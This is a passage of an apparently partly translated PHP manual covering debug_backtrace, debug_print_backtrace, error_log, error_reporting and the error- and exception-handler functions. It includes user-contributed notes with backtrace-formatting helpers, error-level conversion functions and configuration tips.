     * Throw a debug message.
     */
   abstract function debug($msg);

   /**
     * Throw an error message.
     */
   abstract function error($msg);

   /**
     * Throw a warning message.
     */
   abstract function warning($msg);

   /**
     * Wrap a message with information about class, function, file and line
     * number and return it.
     */
   protected function getMsg($msg) {
       $bt = debug_backtrace();

       // get class, function called by caller of caller of caller
       $class = $bt[2]['class'];
       $function = $bt[2]['function'];

       // get file, line where call to caller of caller was made
       $file = $bt[1]['file'];
       $line = $bt[1]['line'];

       // build & return the message
       return "$class::$function: $msg in $file at $line";
   }

}
?>

Implement different debuggers for different scenarios (development, testing, production).  Each debugger extends Debugger; each of its methods (debug/error/warning) calls $this->getMsg($msg) to get a message with class, function, file, and line information.  Then it can either log it, email it, die with it, etc.

Then, just give each object (perhaps using a common superclass Object) a concrete debugger.  Then, from any object method, do something like:

<?php
class Foo extends Object {
     function bar() {
         $this->debugger->error("This is an error");
     }
}
?>

Which produces something like:

Foo::bar: This is an error in /some/file at X
diz at ysagoon dot com
24-Nov-2004 06:35
Ok as spagmoid already said, I just realized that my function has a similar bug than jlim's function.

So just add the following line:
if (is_array($bt['args']))
before line:
foreach ($bt['args'] as $a) {

This way you avoid the warning from being displayed.
diz at ysagoon dot com
24-Nov-2004 06:40
And here are my two cents for a useful and good looking backtrace function.

<?php

function backtrace()
{
   $output = "<div style='text-align: left; font-family: monospace;'>\n";
   $output .= "<b>Backtrace:</b><br />\n";
   $backtrace = debug_backtrace();

   foreach ($backtrace as $bt) {
       $args = '';
       foreach ($bt['args'] as $a) {
           if (!empty($args)) {
               $args .= ', ';
           }
           switch (gettype($a)) {
           case 'integer':
           case 'double':
               $args .= $a;
               break;
           case 'string':
               $a = htmlspecialchars(substr($a, 0, 64)).((strlen($a) > 64) ? '...' : '');
               $args .= "\"$a\"";
               break;
           case 'array':
               $args .= 'Array('.count($a).')';
               break;
           case 'object':
               $args .= 'Object('.get_class($a).')';
               break;
           case 'resource':
               $args .= 'Resource('.strstr($a, '#').')';
               break;
           case 'boolean':
               $args .= $a ? 'True' : 'False';
               break;
           case 'NULL':
               $args .= 'Null';
               break;
           default:
               $args .= 'Unknown';
           }
       }
       $output .= "<br />\n";
       $output .= "<b>file:</b> {$bt['line']} - {$bt['file']}<br />\n";
       $output .= "<b>call:</b> {$bt['class']}{$bt['type']}{$bt['function']}($args)<br />\n";
   }
   $output .= "</div>\n";
   return $output;
}

?>

And here's a sample of how the output looks like (the last call is on the top):

Backtrace:

file: 56 - /tmp/test.php
call: backtrace()

file: 53 - /tmp/test.php
call: test->bar(15.4, Array(4))

file: 61 - /tmp/test.php
call: test->test("making new object", True)

file: 65 - /tmp/test.php
call: foo(Resource(#2), Null)
ad-rotator.com
01-May-2004 12:11
To simply print out the file/function trace (chain of calls, file and line number before the error):

function getTrace() {
 $vDebug = debug_backtrace();
 $vFiles = array();
 for ($i=0;$i<count($vDebug);$i++) {
   // skip the first one, since it's always this func
   if ($i==0) { continue; }
   $aFile = $vDebug[$i];
   $vFiles[] = '('.basename($aFile['file']).':'.$aFile['line'].')';
 } // for
 $vTraceStr = implode(',',$vFiles);
}
spagmoid at yahoo dot NOSPAMcom
10-Dec-2003 03:47
ATTN: jlim#natsoft.com.my

Great function, but you have a few bugs.

At the line:
foreach($arr['args'] as $v)

Change it to:
$args = array();
if(!empty($arr['args'])) foreach($arr['args'] as $v)

And since line & file are not present in the array if calling from the error handler,

$Line = (isset($arr['line'])? $arr['line'] : "unknown");
$File = (isset($arr['file'])? $arr['file'] : "unknown");

and substitute accordingly.

Here's my version of it, alas with different formatting:
----------------------------------------

function DBG_GetBacktrace()
{
   $s = '';
   $MAXSTRLEN = 64;

   $s = '<pre align=left>';
   $traceArr = debug_backtrace();
   array_shift($traceArr);
   $tabs = sizeof($traceArr)-1;
   foreach($traceArr as $arr)
   {
       for ($i=0; $i < $tabs; $i++) $s .= ' &nbsp; ';
       $tabs -= 1;
       $s .= '<font face="Courier New,Courier">';
       if (isset($arr['class'])) $s .= $arr['class'].'.';
       $args = array();
       if(!empty($arr['args'])) foreach($arr['args'] as $v)
       {
           if (is_null($v)) $args[] = 'null';
           else if (is_array($v)) $args[] = 'Array['.sizeof($v).']';
           else if (is_object($v)) $args[] = 'Object:'.get_class($v);
           else if (is_bool($v)) $args[] = $v ? 'true' : 'false';
           else
           {
               $v = (string) @$v;
               $str = htmlspecialchars(substr($v,0,$MAXSTRLEN));
               if (strlen($v) > $MAXSTRLEN) $str .= '...';
               $args[] = "\"".$str."\"";
           }
       }
       $s .= $arr['function'].'('.implode(', ',$args).')</font>';
       $Line = (isset($arr['line'])? $arr['line'] : "unknown");
       $File = (isset($arr['file'])? $arr['file'] : "unknown");
       $s .= sprintf("<font color=#808080 size=-1> # line %4d, file: <a href=\"file:/%s\">%s</a></font>",
           $Line, $File, $File);
       $s .= "\n";
   }
   $s .= '</pre>';
   return $s;
}
Fabian dot Kraetzer at gmx dot de
01-Sep-2003 09:18
I coded a function, too. Just call debug() evertime you think you could encounter an error:
<?
   function debug()
   {
       $debug_array = debug_backtrace();
       $counter = count($debug_array);
       for($tmp_counter = 0; $tmp_counter != $counter; ++$tmp_counter)
       {
         ?>
          <table width="558" height="116" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000">
           <tr>
             <td height="38" bgcolor="#D6D7FC"><font color="#000000">function <font color="#FF3300"><?
             echo($debug_array[$tmp_counter]["function"]);?>(</font> <font color="#2020F0"><?
             //count how many args a there
             $args_counter = count($debug_array[$tmp_counter]["args"]);
             //print them
             for($tmp_args_counter = 0; $tmp_args_counter != $args_counter; ++$tmp_args_counter)
             {
                 echo($debug_array[$tmp_counter]["args"][$tmp_args_counter]);

                 if(($tmp_args_counter + 1) != $args_counter)
                 {
                   echo(", ");
                 }
                 else
                 {
                   echo(" ");
                 }
             }
             ?></font><font color="#FF3300">)</font></font></td>
           </tr>
           <tr>
             <td bgcolor="#5F72FA"><font color="#FFFFFF">{</font><br>
               <font color="#FFFFFF">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;file: <?
               echo($debug_array[$tmp_counter]["file"]);?></font><br>
               <font color="#FFFFFF">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;line: <?
               echo($debug_array[$tmp_counter]["line"]);?></font><br>
               <font color="#FFFFFF">}</font></td>
           </tr>
         </table>
         <?
         if(($tmp_counter + 1) != $counter)
         {
           echo("<br>was called by:<br>");
         }
       }
       exit();
   }
?>
bernyregeling AT hotmail DOT com
08-Aug-2003 07:29
I wrote this function, in addition to jlim, for a nice NO-HTML output.

Thee result has similarities to a Java-error. Hope you like it.

(BTW, this function exits the script too, if debug_backtrace is displayed)
------------------------------
   function debug_bt()
   {
       if(!function_exists('debug_backtrace'))
       {
           echo 'function debug_backtrace does not exists'."\r\n";
           return;
       }
       //echo '<pre>';
       echo "\r\n".'----------------'."\r\n";
       echo 'Debug backtrace:'."\r\n";
       echo '----------------'."\r\n";
       foreach(debug_backtrace() as $t)
       {
           echo "\t" . '@ ';
           if(isset($t['file'])) echo basename($t['file']) . ':' . $t['line'];
           else
           {
               // if file was not set, I assumed the functioncall
               // was from PHP compiled source (ie XML-callbacks).
               echo '<PHP inner-code>';
           }

           echo ' -- ';

           if(isset($t['class'])) echo $t['class'] . $t['type'];

           echo $t['function'];

           if(isset($t['args']) && sizeof($t['args']) > 0) echo '(...)';
           else echo '()';

           echo "\r\n";
       }
       //echo '</pre>';
       exit;
         }
jlim#natsoft.com.my
13-Mar-2003 09:51
Pretty print the backtrace(). Functions are indented based on call value, and file is linked using file:// for convenience.

Enjoy, John Lim

   function adodb_backtrace($print=true)
   {
       $s = '';
       if (PHPVERSION() >= 4.3) {

           $MAXSTRLEN = 64;

           $s = '<pre align=left>';
           $traceArr = debug_backtrace();
           array_shift($traceArr);
           $tabs = sizeof($traceArr)-1;
           foreach ($traceArr as $arr) {
               for ($i=0; $i < $tabs; $i++) $s .= ' &nbsp; ';
               $tabs -= 1;
               $s .= '<font face="Courier New,Courier">';
               if (isset($arr['class'])) $s .= $arr['class'].'.';
               foreach($arr['args'] as $v) {
                   if (is_null($v)) $args[] = 'null';
                   else if (is_array($v)) $args[] = 'Array['.sizeof($v).']';
                   else if (is_object($v)) $args[] = 'Object:'.get_class($v);
                   else if (is_bool($v)) $args[] = $v ? 'true' : 'false';
                   else {
                       $v = (string) @$v;
                       $str = htmlspecialchars(substr($v,0,$MAXSTRLEN));
                       if (strlen($v) > $MAXSTRLEN) $str .= '...';
                       $args[] = $str;
                   }
               }

               $s .= $arr['function'].'('.implode(', ',$args).')';
               $s .= sprintf("</font><font color=#808080 size=-1> # line %4d,".
  " file: <a href=\"file:/%s\">%s</a></font>",
  $arr['line'],$arr['file'],$arr['file']);
               $s .= "\n";
           }
           $s .= '</pre>';
           if ($print) print $s;
       }
       return $s;
   }
add a note add a note

后退 | 起点 | 前进
Error Handling and Logging Functions | 上一级 | debug_print_backtrace


debug_print_backtrace

(PHP 5)

debug_print_backtrace -- Prints a backtrace

说明

void debug_print_backtrace ( void )

debug_print_backtrace() prints a PHP backtrace. It prints the function calls, included/required files and eval()ed stuff.

参数

This function has no parameters.

返回值

无返回值。

范例

例子 1. debug_print_backtrace() example

<?php
// include.php file

function a() {
    b();
}

function b() {
    c();
}

function c(){
    debug_print_backtrace();
}

a();

?>

<?php
// test.php file
// this is the file you should run

include 'include.php';
?>

上例的输出类似于：

#0  eval() called at [/tmp/include.php:5]
#1  a() called at [/tmp/include.php:17]
#2  include(/tmp/include.php) called at [/tmp/test.php:3]

#0  c() called at [/tmp/include.php:10]
#1  b() called at [/tmp/include.php:6]
#2  a() called at [/tmp/include.php:17]
#3  include(/tmp/include.php) called at [/tmp/test.php:3]

参见

debug_backtrace()

add a note add a note User Contributed Notes
aidan at php dot net
15-Mar-2005 05:47
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
add a note add a note

后退 | 起点 | 前进
debug_backtrace | 上一级 | error_log


error_log

(PHP 3, PHP 4, PHP 5)

error_log -- Send an error message somewhere

说明

bool error_log ( string message [, int message_type [, string destination [, string extra_headers]]] )

Sends an error message to the web server's error log, a TCP port or to a file.

参数

message

The error message that should be logged.

message_type

Says where the error should go. The possible message types are as follows:

表格 1. error_log() log types

0 | message is sent to PHP's system logger, using the Operating System's system logging mechanism or a file, depending on what the error_log configuration directive is set to. This is the default option.
1 | message is sent by email to the address in the destination parameter. This is the only message type where the fourth parameter, extra_headers is used.
2 | message is sent through the PHP debugging connection. This option is only available if remote debugging has been enabled. In this case, the destination parameter specifies the host name or IP address and optionally, port number, of the socket receiving the debug information. This option is only available in PHP 3.
3 | message is appended to the file destination. A newline is not automatically added to the end of the message string.

destination

The destination. Its meaning depends on the message parameter as described above.

extra_headers

The extra headers. It's used when the message parameter is set to 1. This message type uses the same internal function as mail() does.

范例

例子 1. error_log() examples

<?php
// Send notification through the server log if we can not
// connect to the database.
if (!Ora_Logon($username, $password)) {
    error_log("Oracle database not available!", 0);
}

// Notify administrator by email if we run out of FOO
if (!($foo = allocate_new_foo())) {
    error_log("Big trouble, we're all out of FOOs!", 1,
               "operator@example.com");
}

// other ways of calling error_log():
error_log("You messed up!", 2, "127.0.0.1:7000");
error_log("You messed up!", 2, "loghost");
error_log("You messed up!", 3, "/var/tmp/my-errors.log");
?>

add a note add a note User Contributed Notes
marques at displague dot com
27-Aug-2005 04:52
Beware the size of your custom error_log!

Once it exceeds 2GB the function errors, ending your script at the error_log() line.  I'm sure this differs from OS to OS, but I have seen it die writing to ext2 under modern Linux systems.
mac at codegreene dot com
09-Aug-2005 12:33
When outputting to syslog, it uses the syslog() function, which limits its output to 500 characters. We have been able to send multi-line output to the log, but newlines appear to be replaced with a space in the output, and output is cut off at 500 characters.

A simple workaround for long, multi-line output is something like this:

$errlines = explode("\n",$errmsg);
foreach ($errlines as $txt) { error_log($txt); }
php at kennel17 dot NOSPAM dot co dot uk
26-Jul-2005 05:04
It appears that the system log = stderr if you are running PHP from the command line, and that often stderr = stdout.  This means that if you are using a custom error to both display the error and log it to syslog, then a command-line user will see the same error reported twice.
kazezb at nospam dot carleton dot edu
22-Jul-2005 01:39
It appears that error_log() only logs the first line of multi-line log messages. To log a multi-line message, either log each line individually or write the message to another file.
franz at fholzinger dot com
21-Apr-2005 12:21
In the case of missing your entries in the error_log file:
When you use error_log in a script that does not produce any output, which means that you cannot see anything during the execution of the script, and when you wonder why there are no error_log entries produced in your error_log file, the reasons can be:
- you did not configure error_log output in php.ini
- the script has a syntax error and did therefore not execute
29-Mar-2003 06:14
when using error_log to send email, not all elements of an extra_headers string are handled the same way.  "From: " and "Reply-To: " header values will replace the default header values. "Subject: " header values won't: they are *added* to the mail header but don't replace the default, leading to mail messages with two Subject fields.

<?php

error_log("sometext", 1, "zigzag@my.domain",
  "Subject: Foo\nFrom: Rizzlas@my.domain\n");

?>

---------------%<-----------------------
To: zigzag@my.domain
Envelope-to: zigzag@my.domain
Date: Fri, 28 Mar 2003 13:29:02 -0500
From: Rizzlas@my.domain
Subject: PHP error_log message
Subject: Foo
Delivery-date: Fri, 28 Mar 2003 13:29:03 -0500

sometext
---------------%<---------------------

quoth the docs: "This message type uses the same internal function as mail() does."

mail() will also fail to set a Subject field based on extra_header data - instead it takes a seperate argument to specify a "Subject: " string.

php v.4.2.3, SunOS 5.8
dan at mojavelinux dot com
01-Feb-2003 03:46
I find it very suprising that there are no PHP constants (or references to them if they exist) for the log types.  I would expect

SYSTEM_LOG = 0
TCP_LOG = 1
FILE_LOG = 2
MAIL_LOG = 3

or something to that nature.  Are we going to see this in any future versions?  Seems very silly to use integers here when they could easily be changed or confused.
add a note add a note

后退 | 起点 | 前进
debug_print_backtrace | 上一级 | error_reporting


error_reporting

(PHP 3, PHP 4, PHP 5)

error_reporting -- Sets which PHP errors are reported

说明

int error_reporting ( [int level] )

The error_reporting() function sets the error_reporting directive at runtime. PHP has many levels of errors, using this function sets that level for the duration (runtime) of your script.

参数

level

The new error_reporting level. It takes on either a bitmask, or named constants. Using named constants is strongly encouraged to ensure compatibility for future versions. As error levels are added, the range of integers increases, so older integer-based error levels will not always behave as expected.

The available error level constants are listed below. The actual meanings of these error levels are described in the predefined constants.

表格 1. error_reporting() level constants and bit values

value | constant
1 | E_ERROR
2 | E_WARNING
4 | E_PARSE
8 | E_NOTICE
16 | E_CORE_ERROR
32 | E_CORE_WARNING
64 | E_COMPILE_ERROR
128 | E_COMPILE_WARNING
256 | E_USER_ERROR
512 | E_USER_WARNING
1024 | E_USER_NOTICE
2047 | E_ALL
2048 | E_STRICT

返回值

Returns the old error_reporting level.

范例

例子 1. error_reporting() examples

<?php

// Turn off all error reporting
error_reporting(0);

// Report simple running errors
error_reporting(E_ERROR | E_WARNING | E_PARSE);

// Reporting E_NOTICE can be good too (to report uninitialized
// variables or catch variable name misspellings ...)
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);

// Report all errors except E_NOTICE
// This is the default value set in php.ini
error_reporting(E_ALL ^ E_NOTICE);

// Report all PHP errors (bitwise 63 may be used in PHP 3)
error_reporting(E_ALL);

// Same as error_reporting(E_ALL);
ini_set('error_reporting', E_ALL);

?>

注释

警告

With PHP > 5.0.0 E_STRICT with value 2048 is available. E_ALL does NOT include error level E_STRICT. Most of E_STRICT errors are evaluated at the compile time thus such errors are not reported in the file where error_reporting is enhanced to include E_STRICT errors.

参见

The display_errors directive
ini_set()

add a note add a note User Contributed Notes
Chris
10-May-2006 04:32
I found some simple mistakes in the functions I posted yesterday, so here are the corrected versions.
And a good advice: never code in the middle of the night ;)

<?php
function error2string($value)
{
   $level_names = array(
       E_ERROR => 'E_ERROR', E_WARNING => 'E_WARNING',
       E_PARSE => 'E_PARSE', E_NOTICE => 'E_NOTICE',
       E_CORE_ERROR => 'E_CORE_ERROR', E_CORE_WARNING => 'E_CORE_WARNING',
       E_COMPILE_ERROR => 'E_COMPILE_ERROR', E_COMPILE_WARNING => 'E_COMPILE_WARNING',
       E_USER_ERROR => 'E_USER_ERROR', E_USER_WARNING => 'E_USER_WARNING',
       E_USER_NOTICE => 'E_USER_NOTICE' );
   if(defined('E_STRICT')) $level_names[E_STRICT]='E_STRICT';
   $levels=array();
   if(($value&E_ALL)==E_ALL)
   {
       $levels[]='E_ALL';
       $value&=~E_ALL;
   }
   foreach($level_names as $level=>$name)
       if(($value&$level)==$level) $levels[]=$name;
   return implode(' | ',$levels);
}
?>

<?php
function string2error($string)
{
   $level_names = array( 'E_ERROR', 'E_WARNING', 'E_PARSE', 'E_NOTICE',
       'E_CORE_ERROR', 'E_CORE_WARNING', 'E_COMPILE_ERROR', 'E_COMPILE_WARNING',
       'E_USER_ERROR', 'E_USER_WARNING', 'E_USER_NOTICE', 'E_ALL' );
   if(defined('E_STRICT')) $level_names[]='E_STRICT';
   $value=0;
   $levels=explode('|',$string);
   foreach($levels as $level)
   {
       $level=trim($level);
       if(defined($level)) $value|=(int)constant($level);
   }
   return $value;
}
?>
the_bug_the_bug at hotmail dot com
24-Apr-2006 09:20
In response to simon at firepages dot com dot au below:

I wrote a shorter more efficient function which will return a string containing the names of the error levels set in the .ini file:

<?php
function error_level_tostring($intval, $separator)
{
   $errorlevels = array(
       2047 => 'E_ALL',
       1024 => 'E_USER_NOTICE',
       512 => 'E_USER_WARNING',
       256 => 'E_USER_ERROR',
       128 => 'E_COMPILE_WARNING',
       64 => 'E_COMPILE_ERROR',
       32 => 'E_CORE_WARNING',
       16 => 'E_CORE_ERROR',
       8 => 'E_NOTICE',
       4 => 'E_PARSE',
       2 => 'E_WARNING',
       1 => 'E_ERROR');
   $result = '';
   foreach($errorlevels as $number => $name)
   {
       if (($intval & $number) == $number) {
           $result .= ($result != '' ? $separator : '').$name; }
   }
   return $result;
}
?>

P.S. With a little modification this function can be made to show the string values of any enumeration.
dave at davidhbrown dot us
06-Apr-2006 11:51
The example of E_ALL ^ E_NOTICE is a 'bit' confusing for those of us not wholly conversant with bitwise operators.

If you wish to remove notices from the current level, whatever that unknown level might be, use & ~ instead:

<?php
//....
$errorlevel=error_reporting();
error_reporting($errorlevel & ~E_NOTICE);
//...code that generates notices
error_reporting($errorlevel);
//...
?>

^ is the xor (bit flipping) operator and would actually turn notices *on* if they were previously off (in the error level on its left). It works in the example because E_ALL is guaranteed to have the bit for E_NOTICE set, so when ^ flips that bit, it is in fact turned off. & ~ (and not) will always turn off the bits specified by the right-hand parameter, whether or not they were on or off.
DarkGool
20-Aug-2005 01:30
In phpinfo() error reporting level display like a bit (such as 4095)

Maybe it is a simply method to understand what a level set on your host
if you are not have access to php.ini file

<?
$bit = ini_get('error_reporting');
while ($bit > 0) {
   for($i = 0, $n = 0; $i <= $bit; $i = 1 * pow(2, $n), $n++) {
       $end = $i;
   }
   $res[] = $end;
   $bit = $bit - $end;
}
?>

In $res you will have all constants of error reporting
$res[]=int(16) // E_CORE_ERROR
$res[]=int(8)    // E_NOTICE
...
fredrik at demomusic dot nu
23-Jul-2005 07:24
Remember that the error_reporting value is an integer, not a string ie "E_ALL & ~E_NOTICE".

This is very useful to remember when setting error_reporting levels in httpd.conf:

Use the table above or:
<?
ini_set("error_reporting", E_YOUR_ERROR_LEVEL);
echo ini_get("error_reporting");
?>

To get the appropriate integer for your error-level. Then use:

php_admin_value error_reporting YOUR_INT

in httpd.conf

I want to share this rather straightforward tip as it is rather annoying for new php users trying to understand why things are not working when the error-level is set to (int) "E_ALL" = 0...

Maybe the PHP-developers should make ie error_reporting("E_ALL"); output a E_NOTICE informative message about the mistake?
alex at modem-help dot com
24-Jun-2005 08:22
Centos4 (Apache/2.0.52, php-4.3.9)

Maintaining development + production sites side-by-side is  possible. Obviously, the production site wants all error-reporting display switched off, whilst the development site is the total reverse. Unfortunately, the php.ini file is global.

Using `ini_set("display_errors","1");' is not possible (ref: 12-Feb-2005 12:28 below) as any fatal errors in the script mean that it (and included scripts) never get acted upon (see php.net/manual/en/ref.errorfunc.php#ini.display-errors).

Unfortunately the suggestion from Fernando Piancastelli (ref: 13-Dec-2004 09:23) did not work for me either. The following *did* work, and allows parse-errors to be displayed on the development site:

php.ini:
error_reporting  =  ~E_ALL
display_errors = Off
display_startup_errors = Off

within an Apache Virtual Host in httpd.conf:
php_flag  display_errors        on
php_flag  display_startup_errors on
php_value error_reporting        2047

The above *should* be surrounded with `<IfModule mod_php4.c> ... </IfModule>' but that did not work either.
phpfanat at yandex dot ru
23-Feb-2005 01:03
If you get a weird mysql warnings like "Warning: mysql_query() [http://www.mysql.com/doc]: Your query requires a full tablescan...", don't look for error_reporting settings - it's set in php.ini.
You can turn it off with
ini_set("mysql.trace_mode","Off");
in your script

And, as of my opinion, it should be NOTICE, not WARNING level.
vdephily at bluemetrix dot com
22-Feb-2005 07:40
Note that E_NOTICE will warn you about uninitialized variables, but assigning a key/value pair counts as initialization, and will not trigger any error :
<?php
error_reporting(E_ALL);

$foo = $bar; //notice : $bar uninitialized

$bar['foo'] = 'hello'; // no notice, although $bar itself has never been initialized (with "$bar = array()" for example)

$bar = array('foobar' => 'barfoo');
$foo = $bar['foobar'] // ok

$foo = $bar['nope'] // notice : no such index
?>
11-Feb-2005 01:55
Under jjuffermans' note, the editors posted the following:

"Instead of using @ to suppress errors if the file does not exist you should do a conditional include:

if (is_file("nosuchfile.php")) {
 include_once("nosuchfile.php");
}"

This is rather obvious, but has an even more obvious problem: is_file doesn't check on the include_path, which one assumes include_once is highly likely to be using.

While there are any number of kludgy workarounds which can be employed to overcome this problem, it's a structural problem in PHP and should be fixed. Preferably @ should only suppress a file not found error, but not any errors inside the included file if it is found, or failing that at the least is_file or file_exists should have the option to look on the include_path for the file.
Fernando Piancastelli
14-Dec-2004 05:23
The error_reporting() function won't be effective if your display_errors directive in php.ini is set to "Off", regardless of level reporting you set. I had to set

display_errors = On
error_reporting = ~E_ALL

to keep no error reporting as default, but be able to change error reporting level in my scripts.
I'm using PHP 4.3.9 and Apache 2.0.
ferozzahid [at] usa [dot] com
08-Sep-2004 07:31
To be enable to switch between error_reporting during development and release phases, one can define say 'php_error_reporting' in the main configuration file (ini like file: no PHP) for the application as:

# config.ini
# PHP error reporting. supported values are given below.
# 0 - Turn off all error reporting
# 1 - Running errors
# 2 - Running errors + notices
# 3 - All errors except notices and warnings
# 4 - All errors except notices
# 5 - All errors

php_error_reporting=4

# config.ini ends

Setting error_reporting in PHP files would be something like the code below, assuming the function getinivar() returns the variable value from the configuration file.

[code]
// setting PHP error reporting
switch(getinivar('php_error_reporting')) {
case 0: error_reporting(0); break;
case 1: error_reporting(E_ERROR | E_WARNING | E_PARSE); break;
case 2: error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); break;
case 3: error_reporting(E_ALL ^ (E_NOTICE | E_WARNING)); break;
case 4: error_reporting(E_ALL ^ E_NOTICE); break;
case 5: error_reporting(E_ALL); break;
default:
   error_reporting(E_ALL);
}
[/code]

Feroz Zahid.
jernberg at fairytale dot se
27-Feb-2003 07:27
tip: if you want your error_reporting()-setting to work with your own error handler you could simply check the error number against the current error bitmask.

function myErrorHandler( $errno, $errstr, $errfile, $errline )
{
  $replevel = error_reporting();
  if( ( $errno & $replevel ) != $errno )
  {
   // we shall remain quiet.
   return;
  }
  echo( "error....." );
}
jjuffermans at chello dot com
05-Jan-2003 10:47
[Editor's Note]
Instead of using @ to suppress errors if the file does not exist you should do a conditional include:

if (is_file("nosuchfile.php")) {
 include_once("nosuchfile.php");
}

Note that when you use the @ to suppress the error of an include file that couldn'd be found, like so:

  @include("nosuchfile.php");

It also suppresses all the parse errors generated in "nosuchfile.php" if it does exist.

It took us a long time before we discovered why we weren't  getting any parse errors... This is it.

Personally, I don't like this... Maybe it can be changed in a future php version? :)

Coditor
rbt at zort.ca
10-Feb-2002 12:25
It should be noted that in apache.conf files the defined values (constants) don't work.  For E_ALL logging, one would use:

php_admin_value error_reporting 2047
cgi at harrison dot org
12-Dec-2000 07:59
[Editor's Note: The error suppression operator (@)can be used to suppress errors for a single expression. To use the operator, place it in front of the expression that you wish to suppress error reporting for. Basic use is:

$fp = @ fopen ('non-existant.file', 'r');

 See the url below for details.]

Error Suppression Operator - Info
http://www.php.net/manual/language.operators.errorcontrol.php
j dot schriver at vindiou dot com
03-Oct-2000 02:37
error_reporting() has no effect if you have defined your own error handler with set_error_handler()

[Editor's Note: This is not quite accurate.

E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR and E_COMPILE_WARNING error levels will be handled as per the error_reporting settings.

All other levels of errors will be passed to the custom error handler defined by set_error_handler().

Zeev Suraski suggests that a simple way to use the defined levels of error reporting with your custom error handlers is to add the following line to the top of your error handling function:

if (!($type & error_reporting())) return;

 -zak@php.net]
04-Feb-2000 03:31
The E_NOTICE error reporting level reports the use of undefined variables as an error.

For example:
error_level (E_ALL); # Set error reporting to highest level
if ($foo)            # This will generate an error
  print "bar";      # because $foo is not defined

To avoid this behavior, use isset to test if the given
variable has been defined.

For example:
error_level (E_ALL);
if (isset ($foo))
   print "bar";
webmaster at l-i-e dot com
22-May-1999 05:13
[Editor's Note: E_ALL will contain the result of OR'ing all of the applicable error constants together. For PHP 3, this will be the first 4 E_xxx constants.  For PHP 4, this will be all constants. ]

There is also an E_ALL which is the first 4 E_xxx added up for you...
add a note add a note

后退 | 起点 | 前进
error_log | 上一级 | restore_error_handler


restore_error_handler

(PHP 4 >= 4.0.1, PHP 5)

restore_error_handler -- Restores the previous error handler function

说明

bool restore_error_handler ( void )

Used after changing the error handler function using set_error_handler(), to revert to the previous error handler (which could be the built-in or a user defined function).

返回值

This function always returns TRUE

范例

例子 1. restore_error_handler() example

Decide if unserialize() caused an error, then restore the original error handler.

<?php
function unserialize_handler($errno, $errstr)
{
    echo "Invalid serialized value.\n";
}

$serialized = 'foo';
set_error_handler('unserialize_handler');
$original = unserialize($serialized);
restore_error_handler();
?>

上例将输出：

Invalid serialized value.

注释

注: Calling restore_error_handler() from the error_handler function is ignored.

参见

error_reporting()
set_error_handler()
restore_exception_handler()
trigger_error()

add a note add a note User Contributed Notes
lsole at maresme dot net
15-Mar-2004 03:57
As the docs say, restore_error_handler() revert to the *previous error handler*... even if it is the same. A bug made me set twice my custom error handler and later when I was calling restore_error_handler() to restore the built-in handler nothing seemed to happen... this puzzled me for a while!
add a note add a note

后退 | 起点 | 前进
error_reporting | 上一级 | restore_exception_handler


restore_exception_handler

(PHP 5)

restore_exception_handler -- Restores the previously defined exception handler function

说明

bool restore_exception_handler ( void )

Used after changing the exception handler function using set_exception_handler(), to revert to the previous exception handler (which could be the built-in or a user defined function).

返回值

This function always returns TRUE

参见

set_exception_handler()
set_error_handler()
restore_error_handler()
error_reporting()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
restore_error_handler | 上一级 | set_error_handler


set_error_handler

(PHP 4 >= 4.0.1, PHP 5)

set_error_handler -- Sets a user-defined error handler function

说明

mixed set_error_handler ( callback error_handler [, int error_types] )

Sets a user function (error_handler) to handle errors in a script.

This function can be used for defining your own way of handling errors during runtime, for example in applications in which you need to do cleanup of data/files when a critical error happens, or when you need to trigger an error under certain conditions (using trigger_error()).

It is important to remember that the standard PHP error handler is completely bypassed. error_reporting() settings will have no effect and your error handler will be called regardless - however you are still able to read the current value of error_reporting and act appropriately. Of particular note is that this value will be 0 if the statement that caused the error was prepended by the @ error-control operator.

Also note that it is your responsibility to die() if necessary. If the error-handler function returns, script execution will continue with the next statement after the one that caused an error.

The following error types cannot be handled with a user defined function: E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR, E_COMPILE_WARNING, and most of E_STRICT raised in the file where set_error_handler() is called.

If errors occur before the script is executed (e.g. on file uploads) the custom error handler cannot be called since it is not registered at that time.

参数

error_handler

The user function needs to accept two parameters: the error code, and a string describing the error. Then there are three optional parameters that may be supplied: the filename in which the error occurred, the line number in which the error occurred, and the context in which the error occurred (an array that points to the active symbol table at the point the error occurred). The function can be shown as:

handler ( int errno, string errstr [, string errfile [, int errline [, array errcontext]]] )

errno

The first parameter, errno, contains the level of the error raised, as an integer.

errstr

The second parameter, errstr, contains the error message, as a string.

errfile

The third parameter is optional, errfile, which contains the filename that the error was raised in, as a string.

errline

The fourth parameter is optional, errline, which contains the line number the error was raised at, as an integer.

errcontext

The fifth parameter is optional, errcontext, which is an array that points to the active symbol table at the point the error occurred. In other words, errcontext will contain an array of every variable that existed in the scope the error was triggered in.

error_types

Can be used to mask the triggering of the error_handler function just like the error_reporting ini setting controls which errors are shown. Without this mask set the error_handler will be called for every error regardless to the setting of the error_reporting setting.

返回值

Returns a string containing the previously defined error handler (if any), or FALSE on error. If the previous handler was a class method, this function will return an indexed array with the class and the method name.

更新日志

版本 | 说明
5.0.0 | The error_types parameter was introduced.
4.3.0 | Instead of a function name, an array containing an object reference and a method name can also be supplied as the error_handler.
4.0.2 | Three optional parameters for the error_handler user function was introduced. These are the filename, the line number, and the context.

范例

例子 1. Error handling with set_error_handler() and trigger_error()

The example below shows the handling of internal exceptions by triggering errors and handling them with a user defined function:

<?php
// set the error reporting level for this script
error_reporting(E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE);

// error handler function
function myErrorHandler($errno, $errstr, $errfile, $errline)
{
  switch ($errno) {
  case E_USER_ERROR:
    echo "<b>My ERROR</b> [$errno] $errstr<br />\n";
    echo "  Fatal error in line $errline of file $errfile";
    echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
    echo "Aborting...<br />\n";
    exit(1);
    break;
  case E_USER_WARNING:
    echo "<b>My WARNING</b> [$errno] $errstr<br />\n";
    break;
